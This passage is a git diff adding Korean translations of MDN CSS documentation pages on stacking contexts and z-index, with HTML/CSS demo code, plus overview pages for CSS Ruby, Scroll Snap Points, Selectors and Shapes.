diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html new file mode 100644 index 0000000000..cf794c3428 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -0,0 +1,123 @@ +--- +title: 쌓임 맥락 예제2 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +--- +

« CSS « CSS z-index 이해하기

+

쌓임 맥락 예제2

+

굉장히 간단하지만 쌓임 맥락을 이해하는데 도움이 되는 예제를 하나 소개하려 한다. 이전 예제에서 본 4개의 DIV가 있다. 이번에는 두 레벨의 DIV 모두 z-index 속성 값을 지정했다. 

+

Stacking context example 2

+

z-index 속성 값이 2인 DIV #2는 z-index 속성 값이 1인 DIV #3 위에 있다. 왜냐하면 DIV #2와 DIV #3은 같은 쌓임 맥락(루트 엘리먼트)에 속하고 DIV #2의 z-index 값이 더 크기 때문이다. 

+

이상한 점은 z-index 속성 값이 2인 DIV #2가 z-index 속성 값이 10인 DIV #4보다 위에 있다는 점이다. 이것은 이 두 DIV가 같은 쌓임 맥락에 속해있지 않기 때문이다. DIV #4는 DIV #3이 만든 쌓임 맥락에 속해있고 DIV #3과 DIV #3의 모든 자식 엘리먼트는 DIV #2보다 아래에 있다. 

+

이 상황을 더 잘 이해하기 위해서 쌓임 맥락 계층을 그려보자. 

+
    +
  • 루트 엘리먼트 쌓임 맥락 +
      +
    • DIV #2 (z-index 2)
    • +
    • DIV #3 (z-index 1) +
        +
      • DIV #4 (z-index 10)
      • +
      +
    • +
    +
  • +
+
+ Note: 일반적인 HTML 계층 구조가 쌓임 맥락 계층 구조와 다르다는걸 상기하자. 쌓임 맥락을 만들지 않는 엘리먼트들은 쌓임 맥락 계층 구조에서 사라진다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+<br />
+
+<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+<br />z-index: 1;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 10;
+   </div>
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_2" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html new file mode 100644 index 0000000000..d632745924 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -0,0 +1,167 @@ +--- +title: 쌓임 맥락 예제3 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +--- +

« CSS « CSS z-index 이해하기

+

쌓임 맥락 예제3

+

마지막 예제는 멀티 레벨 HTML 계층 구조에서 z-index 속성 값을 지정할때 생기는 문제에 대해 다룰 것이다. 

+

몇개의 position 속성 값이 지정된 3-레벨 계층 메뉴를 생각하자. 두번째 레벨과 세번째 레벨의 메뉴는 그들의 부모에 마우스를 갖다 대거나 클릭했을 때 보인다. 이 메뉴를 클래스 선택자를 통해 스타일링 해보자. 

+

만약 세 메뉴가 부분적으로 겹친다면 쌓임을 해결하는 것이 문제가 된다. 

+

Stacking context example 3

+

첫번째 레벨 메뉴는 position 속성 값만이 relative로 지정되어있다. 따라서 이는 쌓임 맥락을 형성하지 않는다. (역자: z-index 속성 값을 지정하지 않았다.) 

+

두번째 레벨 메뉴는 position 속성 값이 absolute로 지정되었다. 두번째 레벨 메뉴를 모든 첫번째 레벨 메뉴보다 위에 두기 위해서 z-index 속성 값이 사용되었다. 따라서 모든 두번째 레벨 메뉴에 쌓임 맥락이 생성되고 세번째 레벨 메뉴는 부모의 쌓임 맥락에 속하게 된다. 

+

따라서 세번째 레벨 메뉴는 그 부모의 다음 두번째 레벨 메뉴 아래에 놓이게 된다. 왜냐하면 모든 두번째 레벨 메뉴는 같은 z-index 속성 값을 가지고 기본 쌓임 규칙을 적용받기 때문이다. (역자: 같은 z-index 속성 값을 가지는 형제 엘리먼트들은 HTML 문서상에서 나중에 등장한 것이 위에 쌓인다.)

+

이 상황을 더 잘 이해하기 위해 쌓임 맥락 계층 구조를 그려보자.

+
    +
  • 뿌리 엘리먼트 쌓임 맥락 +
      +
    • LEVEL #1 +
        +
      • LEVEL #2 (z-index: 1) +
          +
        • LEVEL #3
        • +
        • ...
        • +
        • LEVEL #3
        • +
        +
      • +
      • LEVEL #2 (z-index: 1)
      • +
      • ...
      • +
      • LEVEL #2 (z-index: 1)
      • +
      +
    • +
    • LEVEL #1
    • +
    • ...
    • +
    • LEVEL #1
    • +
    +
  • +
+

이 문제를 해결하는 방법에는 1) 서로 다른 메뉴를 겹치지 않게 배치하기, 2) 클래스 선택자 뿐만 아니라 id 선택자를 이용하여 각각의 엘리먼트에 z-index 속성 값을 지정하기, 3) HTML 구조를 단순화하여 멀티 레벨 메뉴를 사용하지 않기 등이 있다. 

+
+ 노트: 소스 코드에는 두번째 레벨 메뉴와 세번째 레벨 메뉴들이 position 속성이 absolute로 지정된 컨테이너에 싸여있는 것을 볼 수 있다. 이는 여러개의 엘리먼트들의 위치를 한꺼번에 지정하는데 유용하다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+</style></head>
+
+<body>
+
+<br />
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+
+   <div id="container1">
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+
+         <div id="container2">
+
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+
+         </div>
+
+      </div>
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+      </div>
+
+   </div>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+</body></html>
+
+

See also

+ +

 

+
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_3" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html new file mode 100644 index 0000000000..04e826dc17 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -0,0 +1,145 @@ +--- +title: z-index가 없는 경우의 쌓임 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +--- +

« CSS « CSS z-index 이해하기

+

z-index가 없는 경우의 쌓임

+

만약 모든 엘리먼트들에 z-index가 지정되지 않았을 경우에는 엘리먼트들이 다음 순서로 아래에서부터 위로 쌓인다.

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  4. +
  5. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  6. +
+

다음 예제에는 위의 쌓임 규칙을 설명하기 위한 적당한 크기의 엘리먼트들이 준비되어있다. 

+
+

노트:

+
    +
  • 주어진 동일한 엘리먼트들의 그룹은 모두 z-index가 설정되지 않았다. DIV #1 부터 DIV #4 까지는 position 속성이 설정되었다. 엘리먼트의 position속성 값과는 상관 없이 HTML 계층 구조대로 쌓임을 알 수 있다. 
  • +
  • +

    position 속성이 지정되지 않은 블록(DIV #5)은 항상 position이 지정된 엘리먼트 이전에 렌더링 된다. 따라서 position이 지정된 엘리먼트 아래에 보인다. 설령 HTML 문서상에서 먼저 나오더라도 position이 지정되지 않은 엘리먼트는 지정된 엘리먼트보다 아래에 보인다. 

    +
  • +
+
+

understanding_zindex_01.png

+

 

+

예제

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+</div>
+
+</body></html>
+
+
+

See also

+ +

 

+
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..0e55368fa2 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,240 @@ +--- +title: 쌓임 맥락 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +tags: + - Advanced + - CSS + - Guide + - Reference + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +
{{cssref}}
+ +

쌓임 맥락(stacking context)은 가상의 Z축을 사용한 HTML 요소의 3차원 개념화입니다. Z축은 사용자 기준이며, 사용자는 뷰포트 혹은 웹페이지를 바라보고 있을 것으로 가정합니다. 각각의 HTML 요소는 자신의 속성에 따른 우선순위를 사용해 3차원 공간을 차지합니다.

+ +

쌓임 맥락

+ +

이전 글 z-index 사용하기에서 보았듯, 특정 요소의 렌더링 순서는 자신의 z-index 속성 값에 영향을 받습니다. 이는 그 요소들이 가진 특별한 속성으로 인해 쌓임 맥락이 생성되기 때문입니다.

+ +

쌓임 맥락은, 문서 어디에서나, 다음 조건을 만족하는 요소가 생성합니다.

+ +
    +
  • 문서의 루트 요소. (<html>)
  • +
  • {{cssxref("position")}}이 absolute 또는 relative이고, {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • {{cssxref("position")}}이 fixed 또는 sticky인 요소. (sticky는 모든 모바일 브라우저에서는 해당하지만 구형 데스크톱 브라우저에서는 해당하지 않음)
  • +
  • 플렉스({{cssxref("flexbox")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • 그리드({{cssxref("grid")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • {{cssxref("opacity")}}가 1보다 작은 요소. (불투명도 명세 참고)
  • +
  • {{cssxref("mix-blend-mode")}}가 normal이 아닌 요소.
  • +
  • 다음 속성 중 하나라도 none이 아닌 값을 가진 요소. +
      +
    • {{cssxref("transform")}}
    • +
    • {{cssxref("filter")}}
    • +
    • {{cssxref("perspective")}}
    • +
    • {{cssxref("clip-path")}}
    • +
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
    • +
    +
  • +
  • {{cssxref("isolation")}}이 isolate인 요소.
  • +
  • {{cssxref("-webkit-overflow-scrolling")}}이 touch인 요소.
  • +
  • {{cssxref("will-change")}}의 값으로, 초깃값이 아닐 때 새로운 쌓임 맥락을 생성하는 속성을 지정한 요소.
  • +
  • {{cssxref("contain")}}이 layout, paint, 또는 둘 중 하나를 포함하는 값(strict, content 등)인 요소.
  • +
+ +

쌓임 맥락 안의 자식 요소는 이전에 설명했던 규칙을 동일하게 사용해 쌓입니다. 중요한 것은, 자식의 z-index 값은 부모에게만 의미가 있다는 점입니다. 하나의 쌓임 맥락은 부모 쌓임 맥락 안에서 통째로 하나의 단위로 간주됩니다.

+ +

요약하면,

+ +
    +
  • 쌓임 맥락이 다른 쌓임 맥락을 포함할 수 있고, 함께 계층 구조를 이룹니다.
  • +
  • 쌓임 맥락은 형제 쌓임 맥락과 완전히 분리됩니다. 쌓임을 처리할 땐 자손 요소만 고려합니다.
  • +
  • 각각의 쌓임 맥락은 독립적입니다. 어느 요소의 콘텐츠를 쌓은 후에는 그 요소를 통째 부모 쌓임 맥락 안에 배치합니다.
  • +
+ +
참고: 모든 요소가 쌓임 맥락을 생성하는 건 아니므로, 쌓임 맥락의 계층 구조는 HTML 요소 계층 구조의 부분집합입니다. 자신의 쌓임 맥락을 만들지 않은 요소는 '부모 쌓임 맥락에 의해 동화된다'라고 표현할 수 있겠습니다.
+ +

예시

+ +

Example of stacking rules modified using z-index

+ +

위의 예시에서, 모든 요소는 각자의 포지션과 z-index로 인해 자신의 쌓임 맥락을 형성합니다. 쌓임 맥락의 계층 구조는 다음과 같습니다.

+ +
    +
  • 루트 +
      +
    • DIV #1
    • +
    • DIV #2
    • +
    • DIV #3 +
        +
      • DIV #4
      • +
      • DIV #5
      • +
      • DIV #6
      • +
      +
    • +
    +
  • +
+ +

DIV #4, DIV #5, DIV #6은 DIV #3의 자식이므로, DIV #3 내부에서만 셋의 쌓임을 처리했다는 것을 이해하는게 중요합니다. DIV #3 내부의 요소의 쌓기와 렌더링이 끝난 후에는, 전체 DIV #3을 루트 요소의 쌓임 맥락 하에서 형제 DIV와 쌓습니다.

+ +
+

참고:

+ +
    +
  • DIV #4는 DIV #1보다 z-index 속성 값이 더 크지만 DIV #1보다 아래에 렌더링 되었다. 왜냐하면 DIV #1의 z-index 속성 값인 5는 뿌리 엘리먼트의 쌓임 맥락 안에서 유효하나 DIV #4의 z-index 속성 값인 6은 DIV #3의 쌓임 맥락 안에서만 유효하기 때문이다. DIV #4는 자신이 속하는 DIV #3의 z-index 속성 값이 4이므로 DIV #1 아래에 쌓였다.
  • +
  • 같은 이유로 DIV #2는 DIV #5 아래에 렌더링 되었다. DIV #5는 DIV #2보다 z-index 값이 작지만 뿌리 엘리먼트의 쌓임 맥락안에서 유효한 DIV #5가 속한 DIV #3의 z-index 값이 DIV #2의 z-index 값 보다 더 크기 때문이다.
  • +
  • DIV #3의 z-index 속성 값인 4는 DIV #4, DIV #5, DIV #6의 z-index 속성값과 독립적이다. 왜냐하면 다른 쌓임 맥락에 속해있기 때문이다.
  • +
  • 렌더링 순서를 이해하는 쉬운 방법은 z-index를 "버전 번호" 처럼 생각하는 것이다. 자식 엘리먼트는 부모 엘리먼트 버전 번호의 마이너 버전이다. 이 방법은 왜 z-index가 1인 DIV #5가 z-index가 2인 DIV #2 위에 쌓였는지, z-index가 6인 DIV #4가 z-index가 5인 DIV #1 아래에 쌓였는지 이해하게 해준다. 우리 예제에서는 +
      +
    • 뿌리 엘리먼트 +
        +
      • DIV #2 - z-index가 2
      • +
      • DIV #3 - z-index가 4 +
          +
        • DIV #5 - z-index가 1인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.1이다.
        • +
        • DIV #6 - z-index가 3인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.3이다.
        • +
        • DIV #4 - z-index가 6인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.6이다.
        • +
        +
      • +
      • DIV #1 - z-index가 5
      • +
      +
    • +
    +
  • +
+
+ +

예제

+ +

HTML

+ +
<div id="div1">
+  <h1>Division Element #1</h1>
+  <code>position: relative;<br/>
+  z-index: 5;</code>
+</div>
+
+<div id="div2">
+  <h1>Division Element #2</h1>
+  <code>position: relative;<br/>
+  z-index: 2;</code>
+</div>
+
+<div id="div3">
+  <div id="div4">
+    <h1>Division Element #4</h1>
+    <code>position: relative;<br/>
+    z-index: 6;</code>
+  </div>
+
+  <h1>Division Element #3</h1>
+  <code>position: absolute;<br/>
+  z-index: 4;</code>
+
+  <div id="div5">
+    <h1>Division Element #5</h1>
+    <code>position: relative;<br/>
+    z-index: 1;</code>
+  </div>
+
+  <div id="div6">
+    <h1>Division Element #6</h1>
+    <code>position: absolute;<br/>
+    z-index: 3;</code>
+  </div>
+</div>
+ +

CSS

+ +
* {
+  margin: 0;
+}
+html {
+  padding: 20px;
+  font: 12px/20px Arial, sans-serif;
+}
+div {
+  opacity: 0.7;
+  position: relative;
+}
+h1 {
+  font: inherit;
+  font-weight: bold;
+}
+#div1,
+#div2 {
+  border: 1px dashed #696;
+  padding: 10px;
+  background-color: #cfc;
+}
+#div1 {
+  z-index: 5;
+  margin-bottom: 190px;
+}
+#div2 {
+  z-index: 2;
+}
+#div3 {
+  z-index: 4;
+  opacity: 1;
+  position: absolute;
+  top: 40px;
+  left: 180px;
+  width: 330px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+  padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+  border: 1px dashed #996;
+  background-color: #ffc;
+}
+#div4 {
+  z-index: 6;
+  margin-bottom: 15px;
+  padding: 25px 10px 5px;
+}
+#div5 {
+  z-index: 1;
+  margin-top: 15px;
+  padding: 5px 10px;
+}
+#div6 {
+  z-index: 3;
+  position: absolute;
+  top: 20px;
+  left: 180px;
+  width: 150px;
+  height: 125px;
+  border: 1px dashed #009;
+  padding-top: 125px;
+  background-color: #ddf;
+  text-align: center;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', '100%', '396') }}

+ +

같이 보기

+ + + +
+

Original Document Information

+ + +
diff --git a/files/ko/web/css/css_ruby/index.html b/files/ko/web/css/css_ruby/index.html new file mode 100644 index 0000000000..e7266af671 --- /dev/null +++ b/files/ko/web/css/css_ruby/index.html @@ -0,0 +1,45 @@ +--- +title: CSS Ruby +slug: Web/CSS/CSS_Ruby +tags: + - CSS + - CSS Ruby + - Overview + - Reference +translation_of: Web/CSS/CSS_Ruby +--- +
{{CSSRef}}
+ +

CSS Ruby는 행간 주석의 형태로 기본 텍스트와 함께 작게 실행되는 텍스트인 ruby 주석 표시와 관련된 렌더링 모델 및 서식 컨트롤을 제공하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("ruby-align")}}
  • +
  • {{cssxref("ruby-position")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Ruby')}}{{Spec2('CSS3 Ruby')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_scroll_snap_points/index.html b/files/ko/web/css/css_scroll_snap_points/index.html new file mode 100644 index 0000000000..1603df3f02 --- /dev/null +++ b/files/ko/web/css/css_scroll_snap_points/index.html @@ -0,0 +1,50 @@ +--- +title: CSS Scroll Snap Points +slug: Web/CSS/CSS_Scroll_Snap_Points +tags: + - CSS + - CSS Scroll Snap + - Overview + - Reference +translation_of: Web/CSS/CSS_Scroll_Snap_Points +--- +

{{CSSRef}}{{deprecated_header}}

+ +

CSS Scroll Snap Points는 물리보다는 논리상 방향과 차원 맵핑을 통해 레이아웃을 제어하는 능력을 제공하는 속성 및 값을 정의하는 CSS 모듈입니다.

+ +
+

참고: 같은 기능을 정의하는 최신 명세는 CSS Scroll Snap입니다.

+
+ +

참고

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("scroll-snap-coordinate")}}
  • +
  • {{cssxref("scroll-snap-destination")}}
  • +
  • {{cssxref("scroll-snap-points-x")}}
  • +
  • {{cssxref("scroll-snap-points-y")}}
  • +
  • {{cssxref("scroll-snap-type")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-points-y", "scroll-snap-points-y")}}{{Spec2("CSS Scroll Snap Points")}}초기 정의
diff --git a/files/ko/web/css/css_selectors/index.html b/files/ko/web/css/css_selectors/index.html new file mode 100644 index 0000000000..eb5af87d66 --- /dev/null +++ b/files/ko/web/css/css_selectors/index.html @@ -0,0 +1,133 @@ +--- +title: CSS 선택자 +slug: Web/CSS/CSS_Selectors +tags: + - CSS + - Guide + - Overview + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/CSS_Selectors +--- +
{{CSSRef("Selectors")}}
+ +

CSS 선택자는 CSS 규칙을 적용할 요소를 정의합니다.

+ +
+

참고: 부모, 부모의 형제, 부모 형제의 자식을 선택할 수 있는 선택자는 존재하지 않습니다.

+
+ +

기본 선택자

+ +
+
전체 선택자
+
모든 요소를 선택합니다. 추가로 네임스페이스 제한을 둘 수 있습니다.
+ 구문: * ns|* *|*
+ 예제: *은 문서 내의 모든 요소와 일치합니다.
+
유형 선택자
+
주어진 노드 이름을 가진 모든 요소를 선택합니다.
+ 구문: elementname
+ 예제: input은 모든 {{HTMLElement("input")}} 요소와 일치합니다.
+
클래스 선택자
+
주어진 class 특성을 가진 모든 요소를 선택합니다.
+ 구문: .classname
+ 예제: .index는 "index" 클래스를 가진 모든 요소와 일치합니다.
+
ID 선택자
+
id 특성에 따라 요소를 선택합니다. 문서 내에는 주어진 ID를 가진 요소가 하나만 존재해야 합니다.
+ 구문: #idname
+ 예제: #toc는 "toc" ID를 가진 요소와 일치합니다.
+
특성 선택자
+
주어진 특성을 가진 모든 요소를 선택합니다.
+ 구문: [attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]
+ 예제: [autoplay]autoplay 특성을 설정한 모든 요소와 일치합니다. 특성의 값은 고려하지 않습니다.
+
+ +

그룹 선택자

+ +
+
선택자 목록
+
,는 선택자 그룹을 생성하는 방법으로, 모든 일치하는 노드를 선택합니다.
+ 구문: A, B
+ 예제: div, span은 모든 {{HTMLElement("span")}}과 {{HTMLElement("div")}} 요소와 일치합니다.
+
+ +

결합자

+ +
+
자손 결합자
+
  (공백) 결합자는 첫 번째 요소의 자손인 노드를 선택합니다.
+ 구문: A B
+ 예제: div span은 {{HTMLElement("div")}} 요소 안에 위치하는 모든 {{HTMLElement("span")}} 요소와 일치합니다.
+
자식 결합자
+
> 결합자는 첫 번째 요소의 바로 아래 자식인 노드를 선택합니다.
+ 구문: A > B
+ 예제: ul > li는 {{HTMLElement("ul")}} 요소 바로 아래에 위치하는 모든 {{HTMLElement("li")}} 요소와 일치합니다.
+
일반 형제 결합자
+
~ 결합자는 형제, 즉 첫 번째 요소를 뒤따르면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.
+ 구문: A ~ B
+ 예제: p ~ span은 {{HTMLElement("p")}} 요소를 뒤따르는 모든 {{HTMLElement("span")}} 요소와 일치합니다.
+
인접 형제 결합자
+
+ 결합자는 인접 형제, 즉 첫 번째 요소의 바로 뒤에 위치하면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.
+ 구문: A + B
+ 예제: h2 + p는 {{HTMLElement("h2")}} 바로 뒤에 위치하는 {{HTMLElement("p")}} 요소와 일치합니다.
+
열 결합자 {{Experimental_Inline}}
+
|| 결합자는 같은 열에 속하는 노드를 선택합니다.
+ 구문: A || B
+ 예제: col || td는 {{HTMLElement("col")}}의 범위에 속하는 모든 {{HTMLElement("td")}} 요소와 일치합니다.
+
+ +

의사 클래스/요소

+ +
+
의사 클래스
+
의사 :은 문서 트리가 포함하지 않는 상태 정보에 기반해 요소를 선택할 수 있습니다.
+ 예제: a:visited는 사용자가 방문한 모든 {{HTMLElement("a")}} 요소와 일치합니다.
+
의사 요소
+
의사 ::는 HTML이 포함하지 않는 개체를 선택합니다.
+ 예제: p::first-line은 모든 {{HTMLElement("p")}} 요소의 첫 번째 줄과 일치합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Added the ~ general sibling combinator and tree-structural pseudo-classes.
+ Made pseudo-elements use a :: double-colon prefix. Additional attribute selectors
{{SpecName("CSS2.1", "selector.html")}}{{Spec2("CSS2.1")}}Added the > child and + adjacent sibling combinators.
+ Added the universal and attribute selectors.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Initial definition.
+ +

의사 클래스의사 요소의 명세 표에서 각각의 상세 정보를 볼 수 있습니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_shapes/index.html b/files/ko/web/css/css_shapes/index.html new file mode 100644 index 0000000000..f814002c56 --- /dev/null +++ b/files/ko/web/css/css_shapes/index.html @@ -0,0 +1,80 @@ +--- +title: CSS Shapes +slug: Web/CSS/CSS_Shapes +tags: + - CSS + - CSS Shapes + - Overview + - Reference +translation_of: Web/CSS/CSS_Shapes +--- +
{{CSSRef}}
+ +

CSS Shapes는 CSS에서 사용하기 위한 기하학적 도형을 설명한다. 레벌1 명세에 의하면 떠있는 요소에 CSS Shapes를 적용할 수 있다. 명세의 정의에 의하면 떠있는 요소의 모양을 정의 하거나  요소 상자의 사각형을 따르는 대신 테두리 선을 따라 감싸지도록 하는 방법 등  다양한 방법을 정의하고 있다. 

+ +

기본 예제

+ +

아래 예제는 왼쪽에 떠있는 이미지에 shape-outside속성에 circle(50%) 값이 적용된 모습을 볼수 있다. 이런식으로 원모양을 만들면 도옇의 둘래를 따라 주변 텍스트가 흘러내리는것을 볼수 있다. 둘러싼 텍스트가 도형의 모양을 따라 길이가 변하게 되었다. 

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("shape-outside")}}
  • +
  • {{cssxref("shape-margin")}}
  • +
  • {{cssxref("shape-image-threshold")}}
  • +
+
+ +

자료형

+ +
+
    +
